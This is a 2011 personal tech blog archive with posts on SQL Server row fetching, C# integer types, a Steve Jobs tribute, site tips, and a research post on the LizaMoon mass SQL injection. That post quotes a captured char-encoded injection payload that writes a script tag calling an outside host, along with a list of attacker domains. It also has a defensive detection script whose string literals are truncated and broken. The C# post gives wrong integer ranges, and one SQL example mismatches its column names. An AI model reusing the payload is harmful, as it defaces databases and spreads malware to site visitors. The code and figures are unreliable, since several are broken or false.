Saturday, December 17, 2011

Thursday, October 20, 2011

How to fetch nth row from SQL Server 2008 R2 / 2005


Example Code:

Note: Code explained below

WITH temp_table AS
(
    SELECT TOP (SELECT COUNT(*) FROM [table_1])
        firstname, lastname, mobile, email,
        ROW_NUMBER() OVER (ORDER BY zip_code) AS row_no
    FROM
        [table_1]
    ORDER BY zip_code
)
SELECT
    first_name,
    last_name,
    email

FROM
    temp_table
WHERE
    row_no BETWEEN 1 AND 10


Code Explanation:

WITH temp_table AS
--create a temporary table named temp_table
(
    SELECT TOP (SELECT COUNT(*) FROM [table_1])
    --table_1 is the original table
    --top is an essential keyword when you use orderby keyword in this sub query else you can ignore TOP keyword
    -- I have fetched the rows count to fetch the entire rows, this means no difference when considered as a independent query but just to obey the inner query Syntax, that is TOP keyword should be used while using order by in the sub query
        firstname, lastname, mobile, email,
        --just fetching some fields
        ROW_NUMBER() OVER (ORDER BY zip_code) AS row_no
        --generate row number with a custom field in the temp_table for the rows fetched from the original table
    FROM
        [table_1]
        --original table
    ORDER BY zip_code
    --order by inside sub query is the complex part. I remind, use TOP keyword when using order by keyword.
)
SELECT
    first_name,
    last_name,
    email
    --simple select query from the temp_table
FROM
    temp_table
WHERE
    row_no BETWEEN 1 AND 10
    --now we can set between values to fetch records. Hope this is self explanatory, you can set 11 and 20 to fetch the next set of 10 records and so on.


Please share your comments and suggestions. You may also post your questions and doubts here.

Wednesday, October 19, 2011

How to fetch first 10 rows in SQL Server 2008 R2 / 2005

It is pretty simple to fetch first n records in SQL Server 2008 R2. Following is the syntax and example SQL Query to fetch the first 10 rows from a SQL Server 2008 R2 / 2005 database.

Syntax:

SELECT TOP (n) * FROM

--n could be any unsigned bigint value
-- You may also use TOP n without parenthesis. Using TOP keyword without parenthesis gives backward compatibility with SQL Server 2000 but I guess most don't require such a backward compatibility. So it is recommended by Microsoft to use TOP with parenthesis.


For advanced users: 

n is actually an expression. That is, it is capable of performing calculations to derive the final number of records to be retrieved.

Optionally you may also use PERCENT keyword next to the n to denote the input for fetching number of records is on percentage. That is, the following Example 2 will fetch 10 records from a table containing 100 records. When n is used as percentage, n will be treated as float.

Example 1:

SELECT TOP (10) * FROM  employees



Example 2:

SELECT TOP (10) PERCENT * FROM employees


It is as simple as above. I am publishing this on my blog because this is the most frequent database related question most people asked me.

Thursday, October 06, 2011

Steve Jobs - The i Genius

Steve Jobs, the i Genius, co-founder of Apple Computers, passed away last night. I really miss him as a tech brain and a genius business man who brought world a new way of computing.


Steve Jobs on Apple Home Page Today

Remembering Steve

Steve Jobs on Apple Home Page

Top 3 Companies by Market Share in NASDAQ (USA)
  1. Apple Inc - $350.67 Billion
  2. Microsoft - $216.91 Billion
  3. IBM - $211.21 Billion
Read more about Apple & Steve Jobs on wikipedia

What's inside the link?
Steven Paul "Steve" Jobs (February 24, 1955 – October 5, 2011) was an American computer entrepreneur and inventor. He was co-founder, chairman, and chief executive officer of Apple Inc. Jobs also previously served as chief executive of Pixar Animation Studios; he became a member of the board of directors of The Walt Disney Company in 2006, following the acquisition of Pixar by Disney. He was credited in Toy Story (1995) as an executive producer. Click here to read more

Monday, July 25, 2011

IRCTC Website could do some improvements

IRCTC (www.irctc.co.in) is one of the busiest websites in India. It is ticket booking portal of one of the most popular and worlds largest Railways, The Indian Railways.

Besides all the popularity and red ribbons it has some glitches. I am sharing a few that I found.


To increase loading speed & delivery performance:
  1. IRCTC should consider having a light weight alternative page during peak hours like between 8:00 AM to 8:30 AM
  2. IRCTC should consider having CDN or Cloud to provide more optimized delivery


To increase user experience:
  1. In the login screen, after loading the page and before setting focus to the username field, the username field has to be checked for any content has been typed. If some content typed no focus should be set or focus should be set to password field. This will avoid accidently revealing passwords.

DeivaThirumagal (2011) - A Beautiful Movie



This is the first time I am writing about a movie on a blog. I watched Deivathirumagal (2011), a beautiful Tamil movie on Fatherly love, yesterday. Many said it is so emotional and audience burst our of tears.. blah blah.. tears doesn't matter when it really worth shedding! Hats off to direction and screen play.. Many appreciation goes to the involvement of the crew.. They all act as such in reality. Santhanam's conversation blended comedy is another big plus.. Many where complaining that this movie is taken from a movie "I am Sam". After all many good movie stories are taken from Novels it is of no matter where the original story is taken from but it is all about the presentation to the target audience. Do you agree?

Friday, April 29, 2011

10 Valuable Points for you Corporate Website

  1. Post photos of real people
  2. Provide physical contact address and phone number
  3. Provide quick, flexible response to visitor queries
  4. Make site useful to the visitors
  5. Publish information that is easily verifiable
  6. Update site on regular basis
  7. Design site professionally and aesthetically
  8. Provide handy access to contact link on top right corner
  9. Promote products cautiously
  10. Errors of all types must be avoided

Tips for eCommerce Start-ups

Assumed Challenges
  • Competition of Big Players
  • Attention on spans of visitors / prospects
  • Customer Retention
  • Legal Issues
   
Set New Objectives
  • Generate free leads
  • Sell automatically
  • Immune from competitors
  • Highest revenue model
   
Build Business Assets
  • Socially acquired list
  • Relationship channel
  • Market to the list

Wednesday, April 06, 2011

C#: Difference between int and int32


I’ll take this opportunity to explain int16, int32 and int64 as well.

int” is a data type keyword defined by the language, C#.

Int32 is a data type defined by the .NET Common Type System (CTS). I mentioned it as data type just for the understanding but it is actually a Struct. 

When you declare a variable as int or Int32 it will point to System.Int32 only. int is the same as System.Int32 and when compiled it will turn into the same thing in IL. If you disassemble your code with ILDASM, you'll see that the underlying types are used. So there is no difference in it technically. However, for readability factor including myself, most developers suggest to use int to declare a variable and all MSDN sample code uses int.

System.Int32 is a signed integer. So the minimum and maximum capacity of int or Int32 would be -2147483648 and 2147483647 respectively.

How I calculated this?
Simple for Int32, -2^32/2+1 to 2^32/2. Similarly for Int64, -2^64/2+1 to 2^64/2.

Int16 & Int64
System.Int16 is defined as short in C#. It can store a minimum & maximum of -32,769 & 32,768
System.Int64 is defined as long in C#. It can store a minimum & maximum of -9,223,372,036,854,775,808 & 9,223,372,036,854,775,807 respectively.

Unsigned
You may use unsigned short, integer or long if you are sure that you will not store any negative values to the variable. By going for unsigned variables you can double the capacity of the data type. For uint the max value is, 2^32, for ulong it is 2^64.Following are the keywords and examples for using unsigned data types.

int a = 2147483647; // CORRECT
int a = 2147483648; // INCORRECT. THIS WILL THROW ERROR.
uint a = 2147483648; // CORRECT, BECAUSE WE ADDED u TO SPECIFY THIS AS UNSIGNED

Similarly you may use the same technique for short as ushort and long as ulong.

Sunday, April 03, 2011

A research on LizaMoon mass SQL Injection


Video: LizaMoon in action

Websense says..
LizaMoon mass injection hits over 226,000 URLs (was 28,000)
Posted: 29 Mar 2011 10:15 AM
Websense Security Labs and the Websense Threatseeker Network have identified a new malicious mass-injection campaign that we call LizaMoon. Websense customers are protected with the Advanced Classification Engine.
UPDATE1: A Google Search now returns over 226,000 results. Do note that this is a count of unique URLs, not infected hosts. Still, it makes it one of the bigger mass-injection attacks we have ever seen.
UPDATE2: We have been monitoring the attack since it came out and noticed that the number of the compromised URLs is still increasing, 380,000 URLs so far, moreover, more domains started to be involved except for lizamoon.com.
UPDATE3: 500,000 hits at this time. It's growing.

PC World
Millions of Sites Hit with Mass-Injection Cyberattack
By Sarah Jacobsson Purewal, PCWorld    Apr 1, 2011 6:21 AM
Hundreds of thousands -- and possibly millions -- of websites have been hit with a cyberattack that some are calling "one of the biggest mass-injection attacks we've ever seen."

Websense
Update on LizaMoon mass-injection and Q&A

The LizaMoon mass-injection campaign is still ongoing and more than 500,000 pages have a script link to lizamoon.com according to preliminary Google Search results. We have also been able to identify several other URLs that are injected in the exact same way, so the attack is even bigger than we originally thought. All in all, a search on Google returns more than 1,500,000 results that have a link with the same URL structure as the initial attack. Google Search results aren't always great indicators of how prevalent or widespread an attack is as it counts each unique URL or page, not domain or site, but it does give some indication of the scope of the problem if you look at how the numbers go up or down over time.

Update1: Now the google search returns 1,750,000

Additional injected URLs
Here's a list of domains that we have identified so far (with help from blog comment posters; thanks for that guys!).

hxxp://lizamoon.com/ur.php
hxxp://tadygus.com/ur.php
hxxp://alexblane.com/ur.php
hxxp://alisa-carter.com/ur.php
hxxp://online-stats201.info/ur.php
hxxp://stats-master111.info/ur.php
hxxp://agasi-story.info/ur.php
hxxp://general-st.info/ur.php
hxxp://extra-service.info/ur.php
hxxp://t6ryt56.info/ur.php
hxxp://sol-stats.info/ur.php
hxxp://google-stats49.info/ur.php
hxxp://google-stats45.info/ur.php
hxxp://google-stats50.info/ur.php
hxxp://stats-master88.info/ur.php
hxxp://eva-marine.info/ur.php
hxxp://stats-master99.info/ur.php
hxxp://worid-of-books.com/ur.php
hxxp://google-server43.info/ur.php
hxxp://tzv-stats.info/ur.php
hxxp://milapop.com/ur.php
hxxp://pop-stats.info/ur.php
hxxp://star-stats.info/ur.php
hxxp://multi-stats.info/ur.php
hxxp://google-stats44.info/ur.php
hxxp://books-loader.info/ur.php
hxxp://google-stats73.info/ur.php
hxxp://google-stats47.info/ur.php
hxxp://google-stats50.info/ur.php

Technical Investigation
Jay Barnes said on Wednesday, March 30, 2011 11:54 AM
Also observed hxxp://lizamoon.com/ur.php containing javascript redirect to hxxp://system-scanner-uyxt.co.cc/scan1b/237?sessionId=05005504[...], which was already a dead hostname by the time user received redirect.  Server that contained lizamoon.com reference for this user was hxxp://www.equusnow.com, which appears to be clean at the moment.
Similar (or identical) campaign may involve redirects to hxxp://system-scanner-eopa.co.cc containing fake-av.  Another compromised server, hxxp://hccems.com/hr-adriana-lima-vogue-spain/, earlier today contained javascript code redirecting to system-scanner-eopa.co.cc only if the request used a google referer.  That hccems.com page, with a google referer, currently redirects to hxxp://xz163v92.dyndns-ip.com/3/ (also fake-av).
Maye said on Wednesday, March 30, 2011 5:56 PM
This same attack is now happening with tadygus.com instead of lizamoon.

Antony said on Friday, April 01, 2011 10:44 AM
Just to be clear to those who actually know very little about database servers...a database server is not "vulnerable to SQL injection". Poorly-programmed and secured *applications* are vulnerable to SQL injection. It really annoys me to see databases blamed for poor application development practices.

Toyotawhizguy said on Friday, April 01, 2011 4:54 PM
You can block malicious sites by editing your "hosts" file using Notepad. For example, add the following line:
127.0.0.1 www.lizamoon.com #attack site 03/29/11
You can also list the site's IP address instead of the domain name:
127.0.0.1 95.64.9.18 #attack site 03/29/11
I maintain my "hosts" file as "read only" after editing, this protects it from malicious attacks.

Pete said on Saturday, April 02, 2011 12:11 PM
I am still confused by the SQL injection reference.  Usually, an SQL injection is a vulnerability in an application which is then exploited for an persistent XSS or CSRF.  What application has the SQL injection vulnerability? I get that RSS may pick up the persistent XSS but it has to get into a DB to start with and it can't get into a DB without an app.  Which app has the vulnerability?


Arun: No answer found so far

Websense updated: 1st April 2011 12:16pm PT
The domain stats-master111.info was registered on October 21, 2010 which could mean the first attack happened then but we don't have any evidence of that. The first confirmed case that we know of is from December 2010, but we didn't make the connection to LizaMoon until today. The last domain, milapop.com, was registered today.

Q: How does the script get added to the compromised sites?
A: We're still looking into that. We know that it uses SQL Injection to do it and not XSS as some of our blog readers have suggested.


Q: How do you know it's using SQL Injection?
A: We have been contacted by people who have seen the code in their Microsoft SQL databases. Initially we only received reports of users running Microsoft SQL Server 2000 and 2005 being hit but since then we have also received reports of websites using Microsoft SQL Server 2008 being injected as well.


Q: Could this mean that there's a vulnerability in Microsoft SQL Server 2003 and 2005?
A: No. Everything points to that this is a vulnerability in a web application. We don't know which one(s) yet but SQL Injection attacks work by issuing SQL commands in unsanitized input to the server. That doesn't mean it's a vulnerability in the SQL Server itself, it means that the web application isn't filtering input from the user correctly.

Q: When will the LizaMoon attack be over?
A: Not anytime soon. We're still seeing references to Gumblar, which was a mass-injection attack found in 2009.


Stakoverflow:
Here is an example of the value of the cs-uri-query field for one of the IIS log entries.
surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--
I don't understand how the above code works but apparently this is what is being sent in a query string to corrupt columns in our database tables. We have shut down our site for the time being. We can remove the scripts from the database but that doesn't prevent it from being corrupted again when we bring the site back online.

SQL CODE TO IDENTIFY INFECTED TABLES AND COLUMNS
(Test & Working – Arun)
DECLARE c1 cursor for SELECT 'SELECT COUNT(*), '''+QUOTENAME(TABLE_SCHEMA)+'.'+QUOTENAME(TABLE_NAME)+''', '''+QUOTENAME(COLUMN_NAME)+''''+
' FROM ' + quotename(TABLE_SCHEMA) + '.'+QUOTENAME(TABLE_NAME) +
' WHERE ' + QUOTENAME(COLUMN_NAME) + ' LIKE ''%
FROM INFORMATION_SCHEMA.COLUMNS c
WHERE DATA_TYPE IN ('nvarchar', 'nchar', 'varchar', 'char', 'text', 'ntext')
and QUOTENAME(TABLE_NAME) not in (SELECT QUOTENAME(name)AS TABLE_NAME FROM sys.views)
order by QUOTENAME(TABLE_NAME);
DECLARE @CMD VARCHAR(200), @return varchar(10)
OPEN C1
FETCH NEXT FROM C1 INTO @CMD
WHILE @@FETCH_STATUS <> -1
    BEGIN
        declare @sql nvarchar(500), @tbl varchar(200), @col varchar(200)
        set @sql = 'declare c2 cursor for ' + @CMD
        exec sp_executesql @sql
        open c2
        FETCH NEXT FROM C2 INTO @return, @tbl, @col
        WHILE @@FETCH_STATUS <> -1
            BEGIN
            if(@return > 0)
                BEGIN
                    PRINT @return + ' records found in ' + @tbl + '.' + @col
                    exec('SELECT '+@col+' FROM '+@tbl+' WHERE '+@col+' LIKE ''%)
                END
            FETCH NEXT FROM C2 INTO @return, @tbl, @col
            END
        CLOSE C2
        DEALLOCATE C2
        FETCH NEXT FROM C1 INTO @CMD
    END
CLOSE C1
DEALLOCATE C1

..I'll update if I found any news. Please share your experience and solutions.